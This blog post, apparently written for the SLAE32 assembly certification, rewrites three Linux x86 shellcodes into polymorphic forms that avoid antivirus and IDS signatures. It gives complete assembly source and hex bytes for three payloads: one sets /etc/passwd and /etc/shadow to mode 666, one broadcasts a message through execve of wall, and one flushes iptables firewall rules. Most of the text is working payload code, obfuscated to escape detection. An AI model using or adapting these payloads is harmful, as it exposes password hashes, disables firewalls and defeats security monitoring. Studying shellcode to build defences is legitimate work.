In the sixth assignment of the Securitytube Linux Assembly Expert 32-bit, I had to create polymorphic versions of three shellcode from the http://shell-storm.org/shellcode/. The three shellcodes I chose are:
- Linux x86 chmod 666 /etc/passwd & /etc/shadow – 57 bytes
- Linux/x86 – sends Phuck3d! to all terminals – 60 bytes
- Linux/x86 iptables –flush 43 bytes
Polymorphism means that we transform the shellcode, so that it has the same functionality, but its signature is different. The purpose of doing this is to avoid AV and IDS detection. These softwares contain database of patterns of shellcodes and use pattern recognition to detect them.
Creating polymorphic version of any shellcode can be achieved by the combination of the following:
- Insert junk data and instructions into the shellcode
- Use different registers
- Use different instructions to achieve the same functionality
- Create values and strings with mathematical functions
- Change the order of instructions
- Use rarely used instruction sets, like MMX, SSE, etc.
1. Linux x86 chmod 666 /etc/passwd & /etc/shadow
The assembly code can be generated with this command:
echo -ne “\x31\xc0\x66\xb9\xb6\x01\x50\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61
\x68\x2f\x65\x74\x63\x89\xe3\xb0\x0f\xcd\x80\x31\xc0\x50\x68\x61\x64\x6f\x77
\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\xb0\x0f\xcd\x80\x31\xc0\x40
\xcd\x80″ | ndisasm -u –
00000000 31C0 xor eax,eax
00000002 66B9B601 mov cx,0x1b6
00000006 50 push eax
00000007 6873737764 push dword 0x64777373
0000000C 682F2F7061 push dword 0x61702f2f
00000011 682F657463 push dword 0x6374652f
00000016 89E3 mov ebx,esp
00000018 B00F mov al,0xf
0000001A CD80 int 0x80
0000001C 31C0 xor eax,eax
0000001E 50 push eax
0000001F 6861646F77 push dword 0x776f6461
00000024 682F2F7368 push dword 0x68732f2f
00000029 682F657463 push dword 0x6374652f
0000002E 89E3 mov ebx,esp
00000030 B00F mov al,0xf
00000032 CD80 int 0x80
00000034 31C0 xor eax,eax
00000036 40 inc eax
00000037 CD80 int 0x80
First let us try to optimize the code.
- In the line 6 and 14, the same value is pushed onto the stack. We can initialize a register, for example the EDI register with this value, then PUSH EDI.
- Line 8-9-10 and 16-17-18 are the same. We can create a method and move the instructions into it.
Finally, line 2, 4, 5, 12, 13 should be changed as they contain constant values.
Initialization of CX in line 2 can be changed, so that we initialize with the inverse value, then perform a NOT operation on it.
For the values in the 4, 5, 12, 13 I used the ADD, XOR, and NOT instructions. The value of EDI register can be used as an input for mathematical operations, too.
The polymorphic version of the shellcode:
global _start
section .text
_start:
mov edi, 0x6374652f ; '/etc'
jmp shellcode
chmod:
mov al,0xf
int 0x80 ; syscall = 15 (chmod)
xor eax, eax
ret
shellcode:
xor eax,eax
mov ecx, 0xfffffe49
not ecx ; 0x64777373 = not 0xfffffe49
push eax
mov edx, 0x01030E44
add edx, edi ; 0x61702f2f = 0x01030E44 + 0x6374652f
push edx
mov edx, 0x1702f2f6
ror edx, 4
push edx
push edi
mov ebx,esp ; '/etc//passwd'
call chmod
push eax
mov ebx, 0x141b014e
xor ebx, edi ; 0x776f6461 = 0x141b014e xor 0x6374652f
push ebx
mov ebx, 0x978cd0d0
not ebx ; 0x68732f2f = not 0x978cd0d0
push ebx
push edi
mov ebx,esp ; '/etc//shadow'
call chmod
inc eax
int 0x80 ; syscall = 1 (exit)
The original size of the shellcode was 57 bytes. The polymorphic version is 77 bytes.
2. Linux/x86 – sends Phuck3d! to all terminals – 60 bytes
This shellcode is quite simple. It only contains one execve syscall. However, there are strings which should be obfuscated somehow.
The original shellcode:
global _start
section .text
_start:
; execve syscall
; eax = 11 (execve), ebx = address of '/bin//sh'
; ecx =maddress of args
push byte 11
pop eax
cltd
; esi = 'echo Phuck3d! | wall'
push edx
push 0x6c6c6177
push 0x207c2021
push 0x64336b63
push 0x75685020
push 0x6f686365
mov esi, esp
push edx
push word 0x632d
mov ecx, esp
; ebx = '/bin//sh'
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edx
push esi
push ecx
push ebx
mov ecx, esp
int 0x80
I used the following iteration to create polymorphic shellcode:
- The first thing we can try is to move the initialization of EAX register to the end of the shellcode.
- The PUSH EDX can be replaced with PUSH EDI and the CLDI instruction can be removed.
- The EDI can be used instead of ESI, and ESI can be used instead of EDI.
- When the ECX is used for the first time, EDX can be used instead.
- The string constants usage can be modified the following way: create the values as a result of mathematical operation. Bit rotating can also be used.
The polymorphic version of the shellcode:
global _start
section .text
_start:
; execve syscall
; eax = 11 (execve), ebx = address of '/bin//sh'
; ecx =maddress of args
; esi = 'echo Phuck3d! | wall'
push esi
mov eax, 0x22222222
add eax, 0x4a4a3f55
push eax
add eax, 0xb40fbeaa
push eax
add eax, 0x43b74b42
push eax
add eax, 0x1134e4bd
push eax
mov eax, 0xf6863656
ror eax, 4
push eax
mov edi, esp
push esi
push word 0x632d
mov edx, esp
; ebx = '/bin//sh'
push esi
mov eax, 0xf68732f2
rol eax, 4
push eax
mov eax, 0xf6e69622
rol eax, 4
push eax
mov ebx, esp
push esi
push edi
push edx
push ebx
mov ecx, esp
push byte 11
pop eax
int 0x80
The original size was 60 bytes. The polymorphic version is 80 bytes.
3. Linux/x86 iptables –flush 43 bytes
Creating polymorphic shellcodes is quite simple now as I follow the same steps.
First I converted the shellcode with ndisasm:
echo -ne “\x31\xc0\x50\x66\x68\x2d\x46\x89\xe6\x50\x68\x62\x6c\x65\x73\x68\x69\x70
\x74\x61\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3\x50\x56\x53\x89\xe1\x89\xc2
\xb0\x0b\xcd\x80″ | ndisasm -u –
The original shellcode:
global _start
section .text
_start:
xor eax,eax
push eax
push word 0x462d
mov esi, esp
push eax
push dword 0x73656c62
push dword 0x61747069
push dword 0x2f6e6962
push dword 0x732f2f2f
mov ebx, esp
push eax
push esi
push ebx
mov ecx, esp
mov edx, eax
mov al, 11
int 0x80
The next step is to understand the shellcode.
- The first four instructions pushes the 0x0000462d value onto the stack and stores the address of ESP into the ESI register.
- The next six instructions stores the ‘///sbin/iptables’ on the stack and the address is stored in the EBX register.
- The next four instructions creates a structure on the stack. The first value is the address of the ‘///sbin/iptables’ string. The next value is the address of the 0x0000462d value. The third value is zero.
- Then we store zero in the EDX.
- Finally we set EAX to 11 and make a syscall.
The steps to create a polymorphic shellcode (I recommend to modify the source code in small steps, so that the final code is reached in several iterations. This can minimize the possible mistakes.):
- First replace the PUSH instructions where the string is created. As the size is very small, we should take care of what instructions we use. I used the NOT, ROL and ROR instructions.
- In the next step replace the used registers with different ones. For example use ECX instead of EDX, and use EDI instead of ESI.
- Finally replace instructions with equivalent ones. For example use ADD, OR instead of MOV.
As the shellcode is very small, we cannot do more. The original shellcode was 43 bytes, the polymorphic one is 57 bytes. The source code:
global _start
section .text
_start:
xor eax,eax
push eax
push word 0x462d
mov edi, esp
push eax
mov edx, 0x8c9a939d
not edx
push edx
mov edx, 0x17470696
ror edx, 4
push edx
mov ecx, 0x22f6e696
rol ecx, 4
push ecx
mov edx, 0x8cd0d0d0
not edx
push edx
mov ebx, esp
push eax
push edi
push ebx
mov ecx, esp
mov edx, eax
or al, 11
int 0x80
As it can be seen, the polymorphic version does not contain any recognizable string.
* * * * *
The source code can be found on github:
https://github.com/sh3llc0d3r1337/SLAE32-polymorphic-shellcodes
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-691